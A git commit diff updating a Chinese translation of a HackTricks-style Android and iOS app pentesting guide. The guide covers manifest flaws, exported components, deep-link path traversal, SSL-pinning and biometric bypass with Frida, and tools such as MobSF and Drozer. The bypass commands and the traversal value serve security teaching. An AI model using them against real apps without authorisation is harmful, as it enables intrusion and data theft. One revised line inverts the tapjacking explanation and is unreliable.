Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's

This commit is contained in:
Translator 2025-07-19 12:16:10 +00:00
parent a67634ead0
commit 3a8257d852
4 changed files with 201 additions and 97 deletions

View File

@ -348,6 +348,7 @@
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)

View File

@ -4,7 +4,7 @@
## Android Applications Basics
强烈建议您开始阅读此页面以了解与Android安全性相关的**最重要部分和Android应用程序中最危险组件**
强烈建议您开始阅读此页面以了解与Android安全性和Android应用程序中最危险组件相关的**最重要部分**
{{#ref}}
android-applications-basics.md
@ -13,14 +13,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
这是您连接到Android设备模拟或物理的主要工具。\
**ADB** 允许从计算机通过 **USB****网络** 控制设备。此工具使得**双向复制**文件、**安装**和**卸载**应用程序、**执行**shell命令、**备份**数据、**读取**日志等功能成为可能。
**ADB** 允许从计算机通过 **USB****网络** 控制设备。此工具使得可以**双向复制**文件,**安装**和**卸载**应用程序,**执行**shell命令**备份**数据,**读取**日志等功能。
查看以下[**ADB命令**](adb-commands.md)列表以了解如何使用adb。
## Smali
有时修改**应用程序代码**以访问**隐藏信息**可能是经过良好混淆的密码或标志是很有趣的。然后反编译apk修改代码并重新编译可能会很有趣。\
[**在本教程中**,您可以**学习如何反编译APK修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析期间的几项测试中可能非常有用**。因此,**始终记住这可能性**。
有时修改**应用程序代码**以访问**隐藏信息**可能是经过良好混淆的密码或标志是很有趣的。然后反编译apk修改代码并重新编译可能会很有趣。\
[**在本教程中**,您可以**学习如何反编译APK修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析期间的几项测试中可能非常有用**。因此,**始终记住这可能性**。
## Other interesting tricks
@ -47,6 +47,12 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## 案例研究与漏洞
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
## 静态分析
首先,分析 APK 时,您应该**查看 Java 代码**,使用反编译器。\
@ -58,18 +64,18 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
**Firebase**
特别注意**firebase URL**,并检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
特别注意**firebase URLs**,并检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### 应用程序的基本理解 - Manifest.xml, strings.xml
**检查应用程序的 _Manifest.xml_**_strings.xml_** 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。
**检查应用程序的 _Manifest.xml__strings.xml_ 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。
**从 _Manifest.xml_ 中识别的漏洞包括:**
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试(`debuggable="true"`)的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
- **备份设置**:对于处理敏感信息的应用程序,`android:allowBackup="false"` 属性应明确设置,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。
- **网络安全**_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书钉扎和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
- **导出活动和服务**:在清单中识别导出活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
- **网络安全**_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
- **导出活动和服务**:在清单中识别导出活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应仔细审查。
- **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。
- **SDK 版本**`minSdkVersion``targetSDKVersion``maxSdkVersion` 属性指示支持的 Android 版本,强调出于安全原因不支持过时、易受攻击的 Android 版本的重要性。
@ -78,10 +84,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### Tapjacking
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**定位在受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
实际上,它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**位于受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
实际上,它是**让用户知道他们实际上是在对受害者应用程序执行操作**。
在这里找到更多信息:
获取更多信息:
{{#ref}}
tapjacking.md
@ -89,9 +95,9 @@ tapjacking.md
### 任务劫持
一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
更多信息
更多信息:
{{#ref}}
android-task-hijacking.md
@ -106,7 +112,7 @@ android-task-hijacking.md
1. **静态分析:**
- **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**
2. **动态分析:**
- **验证**应用程序创建的文件上设置的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。
- **验证**应用程序创建的文件上的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。
**外部存储**
@ -120,7 +126,7 @@ android-task-hijacking.md
3. **处理来自外部存储的数据**
- 始终对从外部存储检索的数据**执行输入验证**。这至关重要,因为数据来自不受信任的来源。
- 强烈不建议在外部存储上存储可执行文件或类文件以进行动态加载。
- 如果您的应用程序必须从外部存储检索可执行文件,请确保这些文件在动态加载之前**经过签名和加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
- 如果您的应用程序必须从外部存储检索可执行文件,请确保这些文件在动态加载之前**已签名并经过加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
外部存储可以在 `/storage/emulated/0``/sdcard``/mnt/sdcard` 中访问。
@ -129,7 +135,7 @@ android-task-hijacking.md
**以明文存储的敏感数据**
- **共享首选项**Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/shared_prefs/` 中保存 xml 文件,有时可以在该文件夹中找到明文的敏感信息。
- **共享偏好**Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/shared_prefs/` 中保存 xml 文件,有时可以在该文件夹中找到明文的敏感信息。
- **数据库**Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/databases/` 中保存 sqlite 数据库,有时可以在该文件夹中找到明文的敏感信息。
### TLS 破坏
@ -159,7 +165,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
- 如果应用程序是敏感的(如银行应用),它应该执行**自己的检查以查看手机是否已被 root**,并采取相应措施。
- 如果应用程序是敏感的(如银行应用),它应该检查是否正在使用**模拟器**。
- 如果应用程序是敏感的(如银行应用),它应该**在执行之前检查自身的完整性**,以检查是否被修改。
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用的编译器/打包器/混淆器
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用了哪个编译器/打包器/混淆器。
### React Native 应用程序
@ -179,7 +185,7 @@ react-native-application.md
### 超级打包应用程序
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压缩此类应用程序的应用的可能性……以及一种更快的方法,即**执行应用程序并从文件系统中收集解压缩的文件**。
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压缩此类应用程序的应用程序的可能性……以及一种更快的方法,即**执行应用程序并从文件系统中收集解压缩的文件**。
### 自动化静态代码分析
@ -189,7 +195,7 @@ react-native-application.md
### 泄露的秘密
应用程序可能包含秘密API 密钥、密码、隐藏的 URL、子域名……在其中,您可能能够发现。您可以使用工具,例如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
应用程序可能包含秘密API 密钥、密码、隐藏的 URL、子域名……您可能能够发现。您可以使用工具例如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### 绕过生物识别认证
@ -232,14 +238,14 @@ content-protocol.md
#### 使用模拟器
- [**Android Studio**](https://developer.android.com/studio)(您可以创建**x86**和**arm**设备,并且根据[**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**,无需慢速的 arm 模拟器)。
- [**Android Studio**](https://developer.android.com/studio)(您可以创建**x86**和**arm**设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**,无需慢速的 arm 模拟器)。
- 学习如何在此页面上设置:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本以避免潜在错误。_)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本以避免潜在错误。_
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer
> [!TIP]
@ -249,7 +255,7 @@ avd-android-virtual-device.md
![](<../../images/image (277).png>)
此外,请注意在 Genymotion 的**Android VM 配置中**,您可以选择**桥接网络模式**(如果您将从不同的 VM 连接到 Android VM 并使用工具,这将非常有用)。
此外,请注意在 Genymotion 的**Android VM 配置中**,您可以选择**桥接网络模式**(如果您将从不同的 VM 连接到 Android VM这将非常有用
#### 使用物理设备
@ -261,8 +267,8 @@ avd-android-virtual-device.md
4. 按**构建号** 7 次。
5. 返回,您将找到**开发者选项**。
> 一旦您安装了应用程序,您首先应该做的是尝试它并调查它的功能、工作原理,并与之熟悉。\
> 我建议使用 MobSF 动态分析 + pidcat 行此初步动态分析,这样我们就可以在 MobSF **捕获**大量**有趣的**数据时**了解应用程序的工作原理**,您可以稍后查看这些数据。
> 一旦您安装了应用程序,您首先应该尝试它并调查它的功能、工作原理,并与之熟悉。\
> 我建议使用 MobSF 动态分析 + pidcat 行此初步动态分析,这样我们就可以在 MobSF **捕获**大量**有趣的**数据时**了解应用程序的工作原理**,您可以稍后查看这些数据。
### 意外数据泄露
@ -286,30 +292,30 @@ Android 的**基于剪贴板**的框架使应用程序能够实现复制粘贴
**发送给第三方的分析数据**
应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实现,可能会无意中**泄露敏感数据**。为了识别潜在的数据泄露,建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。
应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实现,可能会**泄露敏感数据**。为了识别潜在的数据泄露,建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。
### SQLite 数据库
大多数应用程序将使用**内部 SQLite 数据库**来保存信息。在渗透测试期间,请**查看**创建的**数据库**、**表**和**列**的名称以及所有保存的**数据**,因为您可能会发现**敏感信息**(这将是一个漏洞)。\
数据库应位于 `/data/data/the.package.name/databases`,如 `/data/data/com.mwr.example.sieve/databases`
数据库应位于 `/data/data/the.package.name/databases``/data/data/com.mwr.example.sieve/databases`
如果数据库保存机密信息并且**加密**,但您可以在应用程序中**找到****密码**,这仍然是一个**漏洞**。
如果数据库保存机密信息并且**加密**,但您可以在应用程序中**找到**密码,这仍然是一个**漏洞**。
使用 `.tables` 枚举表,使用 `.schema <table_name>` 枚举表的列。
### Drozer利用活动、内容提供者和服务
来自 [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)**Drozer** 允许您**假设 Android 应用程序的角色**并与其他应用程序交互。它可以做**任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信IPC机制并与底层操作系统交互。\
Drozer 是一个有用的工具,可以**利用导出活动、导出服务和内容提供者**正如您将在以下部分中学习的那样
来自 [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)**Drozer** 允许您**假装成一个 Android 应用程序**并与其他应用程序交互。它可以做**任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信IPC机制并与底层操作系统交互。\
Drozer 是一个有用的工具,可以**利用导出活动、导出服务和内容提供者**,您将在以下部分中学习。
### 利用导出活动
[**如果您想刷新 Android 活动的概念,请阅读此文。**](android-applications-basics.md#launcher-activity-and-other-activities)\
还要记住,活动的代码从**`onCreate`**方法开始。
还要记住,活动的代码从**`onCreate`** 方法开始。
**授权绕过**
当活动被导出时,您可以从外部应用程序调用其屏幕。因此,如果导出一个包含**敏感信息**的活动,您可以**绕过**访问它的**身份验证**机制。
一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含**敏感信息**的活动被**导出**,您可以**绕过**访问它的**身份验证**机制。
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities)
@ -345,7 +351,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
[**如果您想刷新服务是什么,请阅读此内容。**](android-applications-basics.md#services)\
请记住,服务的操作始于方法 `onStartCommand`
服务基本上是可以 **接收数据**、**处理** 数据并 **返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,您应该 **检查** 代码以了解它在做什么,并 **动态测试** 以提取机密信息、绕过身份验证措施...\
服务基本上是可以 **接收数据**、**处理** 数据并 **返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,您应该 **检查** **代码** 以了解其功能,并 **动态测试** 以提取机密信息、绕过身份验证措施...\
[**了解如何使用 Drozer 利用服务。**](drozer-tutorial/index.html#services)
### **利用广播接收器**
@ -383,7 +389,7 @@ _请注意您可以**省略包名**,手机将自动调用应该打开该链
**路径中的参数**
您**还必须检查任何深度链接是否在 URL 的路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下,您可以强制路径遍历,访问类似于:`example://app/users?username=../../unwanted-endpoint%3fparam=value` 的内容。\
请注意,如果您在应用程序中找到正确的端点,您可能能够导致**开放重定向**(如果路径的一部分用作域名)**账户接管**(如果您可以在没有 CSRF 令牌的情况下修改用户详细信息,并且漏洞端点使用了正确的方法)以及任何其他漏洞。更多[信息在这里](http://dphoeniixx.com/2020/12/13-2/)。
请注意,如果您在应用程序中找到正确的端点,您可能能够导致**开放重定向**(如果路径的一部分用作域名)**账户接管**(如果您可以在没有 CSRF 令牌的情况下修改用户详细信息,并且漏洞端点使用了正确的方法)以及任何其他漏洞。更多[信息在这里](http://dphoeniixx.com/2020/12/13-2/)。
**更多示例**
@ -405,7 +411,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
#### 流量检查
要检查 HTTP 流量,必须**安装代理工具的证书**例如Burp。如果不安装此证书经过代理的加密流量可能不可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
要检查 HTTP 流量,必须**安装代理工具的证书**例如Burp。如果不安装此证书加密流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
针对**API Level 24 及以上**的应用程序需要修改网络安全配置以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改网络安全配置的说明,[**请参考此教程**](make-apk-accept-ca-certificate.md)。
@ -427,7 +433,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
### Frida
[Frida](https://www.frida.re)是一个动态插桩工具包,供开发人员、逆向工程师和安全研究人员使用。\
[Frida](https://www.frida.re) 是一个动态插桩工具包,供开发人员、逆向工程师和安全研究人员使用。\
**您可以访问正在运行的应用程序并在运行时挂钩方法以更改行为、修改值、提取值、运行不同的代码...**\
如果您想对 Android 应用程序进行渗透测试,您需要知道如何使用 Frida。
@ -435,7 +441,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
- 一些与 Frida 相关的“GUI”操作[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection 是自动化使用 Frida 的好工具:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- 您可以在这里找到一些很棒的 Frida 脚本:[**https://codeshare.frida.re/**](https://codeshare.frida.re)
- 尝试通过加载 Frida 绕过反调试/反 Frida 机制,如在[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)中所示(工具[linjector](https://github.com/erfur/linjector-rs)
- 尝试通过加载 Frida 绕过反调试/反 Frida 机制,如在[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)中所示(工具[linjector](https://github.com/erfur/linjector-rs)
### **内存转储 - Fridump**
@ -460,7 +466,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
即使应用程序将数据存储在keystore中数据也应该是加密的。
要访问keystore中的数据可以使用此Frida脚本[https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
要访问keystore中的数据可以使用此Frida脚本 [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
@ -472,13 +478,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
### **背景图像**
当您将应用程序置于后台时Android 会存储应用程序的 **快照**,因此当它恢复到前台时,它会在应用程序之前开始加载图像,看起来像应用程序加载得更快。
当您将应用程序置于后台时Android 会存储应用程序的 **快照**,因此当它恢复到前台时,它会在应用程序之前开始加载图像,看起来像应用程序加载得更快。
然而,如果这个快照包含 **敏感信息**,那么有权限访问快照的人可能会 **窃取这些信息**(请注意,您需要 root 权限才能访问它)。
快照通常存储在: **`/data/system_ce/0/snapshots`**
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图捕获。使用此标志,窗口内容被视为安全,防止其出现在屏幕截图中或在不安全的显示器上查看。
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止截图捕获。使用此标志,窗口内容被视为安全,防止其出现在截图中或在不安全的显示器上查看。
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -497,7 +503,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
- **意图注入** 类似于网络的开放重定向问题。
- 利用涉及将 `Intent` 对象作为额外参数传递,这可能被重定向以执行不安全的操作。
- 它可以将未导出的组件和内容提供者暴露给攻击者。
- `WebView` 的 URL 到 `Intent` 的转换可促进意外操作。
- `WebView` 的 URL 到 `Intent` 的转换可促进意外操作。
### Android 客户端侧注入及其他
@ -527,7 +533,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
注意MobSF 可以分析 **Android**(apk)**、IOS**(ipa) **和 Windows**(apx) 应用程序_Windows 应用程序必须从安装在 Windows 主机上的 MobSF 进行分析_。\
此外,如果您创建一个包含 **Android****IOS** 应用程序源代码的 **ZIP** 文件(转到应用程序的根文件夹,选择所有内容并创建一个 ZIP 文件),它也能够分析它。
MobSF 还允许您进行 **diff/比较** 分析并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,这样 **hash** 将被 **上传** 而不是文件。
MobSF 还允许您进行 **diff/比较** 分析并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,这样 **hash** 将被 **上传** 而不是文件。
### 使用 MobSF 进行辅助动态分析
@ -552,12 +558,12 @@ MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本
此外,您还有一些辅助 Frida 功能:
- **枚举加载的类**:它将打印所有加载的类
- **枚举加载的类**:它将打印所有加载的类
- **捕获字符串**:它将打印在使用应用程序时捕获的所有字符串(非常嘈杂)
- **捕获字符串比较**:可能非常有用。它将 **显示正在比较的两个字符串** 以及结果是 True 还是 False。
- **枚举类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
- **搜索类模式**:按模式搜索类
- **跟踪类方法****跟踪** 一个 **整个类**(查看该类所有方法的输入和输出)。请记住,默认情况下 MobSF 跟踪个有趣的 Android API 方法。
- **跟踪类方法****跟踪** 一个 **整个类**(查看该类所有方法的输入和输出)。请记住,默认情况下 MobSF 跟踪个有趣的 Android API 方法。
一旦您选择了要使用的辅助模块,您需要按“**开始仪器化**”,您将看到所有输出在“**Frida 实时日志**”中。
@ -574,8 +580,8 @@ receivers
```
**HTTP工具**
当http流量被捕获时您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到**代理**如Burp或Owasp ZAP。\
要做到这一点_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
当http流量被捕获时您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送** **捕获的请求**到像Burp或Owasp ZAP这样的**代理**。\
为此_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
完成MobSF的动态分析后您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
@ -593,13 +599,13 @@ receivers
### [Yaazhini](https://www.vegabird.com/yaazhini/)
这是一个**用于执行静态分析的优秀工具带有GUI**
这是一个**用于执行带GUI的静态分析的好工具**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、点击劫持...。与Drozer一样无需对测试设备进行root。
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、tapjacking...。与Drozer一样测试设备无需root。
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -633,7 +639,7 @@ super-analyzer {apk_file}
StaCoAn 是一个 **跨平台** 工具,帮助开发者、漏洞赏金猎人和道德黑客对移动应用程序进行 [静态代码分析](https://en.wikipedia.org/wiki/Static_program_analysis)。
其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。
其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。
下载 [最新版本](https://github.com/vincentcox/StaCoAn/releases)
```
@ -661,7 +667,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** 是一个 **M**obile **A**pplication **R**everse engineering 和 **A**nalysis Framework。它是一个将常用的移动应用程序逆向工程和分析工具整合在一起的工具旨在帮助测试移动应用程序以应对 OWASP 移动安全威胁。其目标是使这一任务对移动应用程序开发和安全专业人员更加简单和友好。
**MARA** 是一个 **M**obile **A**pplication **R**everse engineering 和 **A**nalysis Framework。它是一个将常用的移动应用程序逆向工程和分析工具整合在一起的工具旨在帮助测试移动应用程序以应对 OWASP 移动安全威胁。其目标是使这一任务对移动应用程序开发人员和安全专业人员更加简单和友好。
它能够:
@ -710,11 +716,11 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
### [Simplify](https://github.com/CalebFenton/simplify)
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都简单且通用,因此无论使用何种特定类型的混淆都无关紧要。
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
### [APKiD](https://github.com/rednaga/APKiD)
APKiD 提供有关 **APK 制作方式** 的信息。它识别许多 **编译器**、**打包工具**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
APKiD 提供有关 **APK 是如何制作的** 信息。它识别许多 **编译器**、**打包工具**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
### 手动

View File

@ -162,7 +162,7 @@ ios-hooking-with-objection.md
### IPA结构
**IPA文件**的结构本质上是一个**压缩包**。通过将其扩展名重命名为`.zip`,可以**解压缩**以揭示其内容。在此结构中,**Bundle**表示一个完全打包的应用程序,准备安装。在其中,您会找到一个名为`<NAME>.app`的目录,封装了应用程序的资源。
**IPA文件**的结构本质上是一个**压缩包**。通过将其扩展名重命名为`.zip`,可以**解压缩**以揭示其内容。在这个结构中,**Bundle**代表一个完全打包的应用程序,准备安装。在其中,您会找到一个名为`<NAME>.app`的目录,封装了应用程序的资源。
- **`Info.plist`**:此文件包含应用程序的特定配置细节。
- **`_CodeSignature/`**此目录包含一个plist文件包含签名确保包中所有文件的完整性。
@ -178,7 +178,7 @@ ios-hooking-with-objection.md
**Info.plist**
**Info.plist**iOS应用程序的基石以**键值**对的形式封装关键配置数据。此文件不仅是应用程序的必需品,也是捆绑在内的应用扩展和框架的必需品。它的结构为XML或二进制格式,包含从应用权限到安全配置的关键信息。有关可用键的详细探索,可以参考[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)。
**Info.plist**作为iOS应用程序的基石以**键值**对的形式封装关键配置数据。此文件不仅是应用程序的必需品,也是捆绑在内的应用扩展和框架的必需品。它以XML或二进制格式结构化,包含从应用权限到安全配置的关键信息。有关可用键的详细探索,可以参考[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)。
对于希望以更易于访问的格式处理此文件的用户可以通过在macOS上使用`plutil`在10.2及更高版本中原生可用或在Linux上使用`plistutil`轻松实现XML转换。转换的命令如下
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
**Info.plist** 文件可以透露的众多信息中,显著条目包括应用权限字符串 (`UsageDescription`)、自定义 URL 方案 (`CFBundleURLTypes`) 和应用传输安全配置 (`NSAppTransportSecurity`)。这些条目以及其他如导出/导入的自定义文档类型 (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`),可以通过检查文件或使用简单的 `grep` 命令轻松找到:
